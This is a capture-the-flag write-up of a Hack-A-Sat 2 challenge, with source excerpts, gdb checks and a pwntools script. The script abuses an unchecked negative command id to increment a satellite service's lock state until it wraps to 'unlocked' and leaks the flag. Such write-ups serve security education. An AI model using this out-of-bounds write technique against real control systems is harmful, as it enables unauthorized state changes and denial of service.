Hack-A-Sat2: Tree in the Forest

Introduction

The Hack-a-Sat 2 qualifications were held online from June 26th, 2021 to June 27th, 2021. This CTF focused on the cybersecurity of spacecraft, namely satellites. As the global space race heats up, the need for securing space-based systems is growing, hence the U.S Air Force along with the U.S. Space Force are sponsoring this event. This is one of my favourite events since it combines both hacking and space, which I both find utmost interesting. In this post, I will go through my solution for one of the reversing/pwning challenges. The full solution with source code is available on our Github

Description

  • Category: Rapid Unplanned Disassembly
  • Points: 35 points
  • Description:
CC=g++-9.3.0

challenge: src/parser.c
    $(CC) src/parser.c -o $@
Connect to the challenge on: lucky-tree.satellitesabove.me:5008 Using netcat, you might run: nc lucky-tree.satellitesabove.me 5008 You’ll need these files to solve the challenge.
  • https://static.2021.hackasat.com/vca80g4d8hvxhpvebfh4ug3ntgck

Solution

Key Tactic

The key tactic to solve this challenge is to perform an integer overflow on the lock_state variable. The remote service provided accepts arbitrary values from the client. These values are parsed into a structure representing a “command header”. One of these values, the id, is used to access a buffer, which can be used to change values in memory. As such, solving this challenge involves sending multiple inputs to cause an overflow by leveraging the lack of validation on the id field. The following modules and packages have been used for this challenge:
  • build-essentials: contains the g++ compiler needed to generate a local copy of the remote service;
  • python3: use to generate a script to solve the challenge;
  • pwntools: a utility module for CTFs. See my tutorials for more information.

Code Review

The first step is to build a basic understanding of the logic of the remote service. In this case, the file provided by the challenge – src/parser.c – is the complete C source code of the remote service. By reviewing the code, we can identify the region of the code delivering the flag:
switch(lock_state){
	case UNLOCKED:
		if (id == COMMAND_GETKEYS)
			return std::getenv("FLAG");
		else
			return "Command Success: UNLOCKED";
The flag is defined in the environment of the remote service. To access it, we need to set the state of the service to be UNLOCKED and the value of the header->id needs to be set to COMMAND_GETKEYS. To do so, we have to manipulate some values remotely to have the service drop the flag. The remote service listens to external connections via a regular UDP socket. The logic of managing remote connections is defined in the server_loop function. We can confirm that the remote service is listening on a UDP port as the socket structure is generated using the SOCK_DGRAM option and listening on port 54321/udp. Therefore to connect to the service, we need to set up a UDP socket to connect on port 54321 of the remote service.
	if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0 ) {
		perror("socket creation failed");
		exit(EXIT_FAILURE);
	}

	memset(&servaddr, 0, sizeof(servaddr));
	memset(&cliaddr, 0, sizeof(cliaddr));
	servaddr.sin_family    = AF_INET; // IPv4
	servaddr.sin_addr.s_addr = inet_addr("0.0.0.0");
	// servaddr.sin_port = htons(std::atoi(std::getenv("CHAL_PORT")));
	servaddr.sin_port = htons(54321);
As in most challenges, there is a timer that closes the socket after a specific amount of time, which is specified by the TIMEOUT environment variable. This is important as when developing the solution, we will want to disable this timeout. In this case, this will be trivial by defining this variable in our local environment.
const char *timeout_value = std::getenv("TIMEOUT");

Basic Testing

Armed with a basic understanding of the program, we can now compile it and run it with some random inputs to have a general idea of how it processes data. I did not have version 9.3 of g++ on my host, but I was able to compile the parser.c file using version 10.2.1 20210110. The description of the challenge provides a Makefile. To compile the code, either use the Makefile provided or the following command:
$ g++ ./src/parser.c -o challenge
To test the service without being timed out every minute, we’ll set the TIMEOUT environment var to 1 hour, i.e. 3600 seconds:
$ TIMEOUT=3600 ./challenge 
Trying to bind to socket.
Bound to socket.
At this point, we have the service bound to port 54321/udp on our localhost. Let’s use nc to connect to it:
$ nc -u 127.0.0.1 54321
1111
Invalid length of command header, expected 8 but got 5
As expected, the service accepts inputs on port 54321/udp. There are no prompts provided once connected, but if we type some characters, we get an error message stating that the service expects a command header of length 8. So trying again with 8 characters, we get a bit further:
11111111
Command header acknowledge: version:12593 type:12593 id:825307441
Invalid id:825307441
Based on very basic experimentation, a string of 8 characters will be accepted by the remote service as a command header. As such, the next steps involve figuring out which values to send to unlock the flag.

Crafting the Command Header

By reviewing the definition of the command_header structure, we notice that three (3) values are needed: two (2) short integers and one command_id_type type, which is an enum of one (1) integer, for a total of 64bits, i.e. eight (8) byte(s):
typedef enum command_id_type {
	COMMAND_ADCS_ON = 		0,
	COMMAND_ADCS_OFF =		1,
	COMMAND_CNDH_ON =		2,
	COMMAND_CNDH_OFF =		3,
	COMMAND_SPM =			4,
	COMMAND_EPM =			5,
	COMMAND_RCM =			6,
	COMMAND_DCM =			7,
	COMMAND_TTEST =			8,
	COMMAND_GETKEYS =		9, // only allowed in unlocked state
} command_id_type;
...
typedef struct command_header{
	short version : 16;
	short type : 16;
	command_id_type id : 32;
} command_header;
At this point, we have all the knowledge needed to craft a command header, so let’s write a basic Python script to send valid headers to the service. Below is the initial code used for sending a legitimate command header:
def do_challenge(remote):
    flag = bytearray()
    flag += struct.pack('HHi', 1, 1, 9)
    remote.sendline(flag)
    line = remote.recv().decode('utf-8')
    print(f"[*] << {line.rstrip()}")
If not already done, launch the challenge service and execute this script to send our command header of 8 bytes, i.e. two shorts of 16 bits: 1 and 1, and an integer of 32 bits – 9 – which is the COMMAND_GETKEYS id:
$python quick.py 
[+] Opening connection to 127.0.0.1 on port 54321: Done
LOG: %r Command header acknowledge: version:1 type:1 id:9
Command Failed: LOCKED
[*] Closed connection to 127.0.0.1 port 54321
We were able to send a legitimate command header, but the state of the service is still LOCKED. Obviously, it wasn’t going to be THAT easy. After another review of the code, you will quickly notice that there isn’t any logic to update the state of the service to UNLOCKED. As such, we have to devise a way to forcefully update the value of the lock_state variable. You should notice that the code provided contains commented lines. It is easy to go over these comments, but they actually provide some useful insight into the next steps:
//	fprintf(stderr, "Address of lock_state:       %p\n", &lock_state);
//	fprintf(stderr, "Address of command_log: %p\n", &command_log);
When uncommented, these will display the addresses of both the lock_state variable and the start address of the command_log buffer. This should bring your attention to the command_log buffer:
	// Log the message in the command log
	command_log[header->id]++;
The reviewer should notice the lack of boundary checks. The value provided by the header->id will be used as the index for the command_log buffer. While we cannot use this oversight to run arbitrary code, we can leverage it to increment values at almost any memory location within the service. We can therefore generate an integer overflow on the lock_state variable. When overflowed to 0, the lock_state will become UNLOCKED.

Integer Overflow

The initial state of the service is set to be LOCKED. As such, the lock_state variable starts with a value of 1. Because variables types are bound by their size, continuously incrementing them will eventually cause them to have a value of 0. For example, an unsigned char can have a value between 0 and 255. Incrementing an unsigned char variable set to 0 with a value of 256 will cause it to roll over back to 0. At this point, we have to figure out how to cause an overflow on the lock_state variable using the header->id and command_log variables.
unsigned int lock_state;
char command_log[COMMAND_LIST_LENGTH];
...
int main() {

	lock_state = LOCKED;
...
Clearly, we can use the command_log buffer to increment the lock_state variable. Since header-id is not validated, we can use it to reference the address of the lock_state variable. To better understand this part, refer to this C++ tutorial on pointer arithmetic and array indexing which explains pointers and offsets in memory. To perform this operation, we will need to know the address of the command_log and lock_state variables. To extract these, we just need to uncomment the lines identified earlier and recompile the service. We then re-run the challenge service, which displays their location in memory:
	fprintf(stderr, "Address of lock_state:       %p\n", &lock_state);
	fprintf(stderr, "Address of command_log: %p\n", &command_log);
	// fprintf(stderr, "Port: %d\n", std::atoi(std::getenv("CHAL_PORT")));
$ TIMEOUT=3600 ./challenge 
Address of lock_state:       0x55dd5458c130
Address of command_log: 0x55dd5458c138
Trying to bind to socket.
Bound to socket.
From the output above, we observe that the address of the lock_state variable is 8 bytes before the start of the command_log buffer. Since the buffer contains char values, we need to access command_log[-8] and increment the value 255 times (1+255=256) for it to overflow to 0, which is the value for the UNLOCKED state. Let’s go step-by-step to demonstrate the concept. We will first show that we can modify the lock_state variable by accessing it via the value of the header->id variable. This can be done by sending a command header with an id of -8
def do_challenge(remote):
    flag = bytearray()
    flag += struct.pack('HHi', 1, 1, -8)
    remote.sendline(flag)
    line = remote.recv().decode('utf-8')
    print("LOG: %r", line.rstrip())
$python solve.py 
[+] Opening connection to 127.0.0.1 on port 54321: Done
LOG: %r Command header acknowledge: version:1 type:1 id:-8
Command Success: LOCKED
[*] Closed connection to 127.0.0.1 port 54321
It seems that the service accepted our ID with a value of -8. We will use gdb to confirm that the lock_state variable changed. To do so, we will attach gdb to the challenge process:
ps -e | grep challenge
1350693 pts/4    00:00:00 challenge
$gdb -p 1350693
We can then look at the value of the variable using the p command of gdb. Note that the lock_state variable must be cast into an unsigned int to avoid GDB from complaining:
(gdb) p (unsigned int)lock_state
$1 = 2
We were able to update the lock_state via the header->id value of our command header. As you can see, the value lock_state is now 2, meaning that we were able to change its value when using -8 as the ID of the header. Because we are incrementing the variable through a buffer of char, incrementing the value a total of 255 times will cause it to roll over to 0, causing the integer overflow. To do so, we’ll modify our script to send 255 command headers with an id of -8, causing the value of the lock_state to be 0, i.e. UNLOCKED. We will then follow with one additional command header using the COMMAND_GETKEYS id:
def do_challenge(remote):
    overflow = bytearray()
    # Create a bytearray of 1, 1 and -8
    overflow += struct.pack('HHi', 1, 1, -8)
    
    # Send 255 headers to overflow the `lock_state` to 0
    for i in range(1, 256):
        remote.sendline(overflow)
        line = remote.recv().decode('utf-8')
        print(f"[*] << {line.rstrip()}")

    # Create the command header to get the flag
    flag = bytearray()
    flag += struct.pack('HHI', 1, 1, 9)
    remote.sendline(flag)
    # Bring home the flag
    while remote.can_recv(1):
        line = remote.recv().decode('utf-8')
        print(f"[*] << {line.rstrip()}")
Close the challenge service and restart it, this time providing a dummy flag using the FLAG variable environment:
$ FLAG=flag{this-is-not-a-flag} TIMEOUT=3600 ./challenge
And now running our Python solving script, we should unlock the flag:
[*] << Command header acknowledge: version:1 type:1 id:-8
Command Success: LOCKED
[*] << Command header acknowledge: version:1 type:1 id:-8
Command Success: UNLOCKED
[*] << Command header acknowledge: version:1 type:1 id:9
flag{this-is-not-a-flag}
[*] Closed connection to 127.0.0.1 port 54321
Lastly, we’ll confirm our tactic by using our solver script against the real challenge:
...
[*] << Command header acknowledge: version:1 type:1 id:-8
Command Success: UNLOCKED
[*] << Command header acknowledge: version:1 type:1 id:9
flag{whiskey624...:GJNFiQHT5mvthY0W4oCIPa6zAoOP6NuSdY0H8Rgg8k6Eua4l...}
[*] Closed connection to 18.118.161.198 port 17434
Mission accomplished.

Conclusion

This is a great example of the exploitation of the CWE-190: Integer Overflow vulnerability. It’s not unusual for various sub-systems in a satellite to use control variables to specify a mode of operation or a state. While not malicious and caused by a bad conversion, the Ariane 5, Flight 501 incident is a notorious space-related example of an overflow leading to catastrophic failure. Having the ability to modify these variables and/or states can cause Denial of Service (DoS) by forcing it into a constant emergency state or causing a major disruption by stowing the solar panels for example.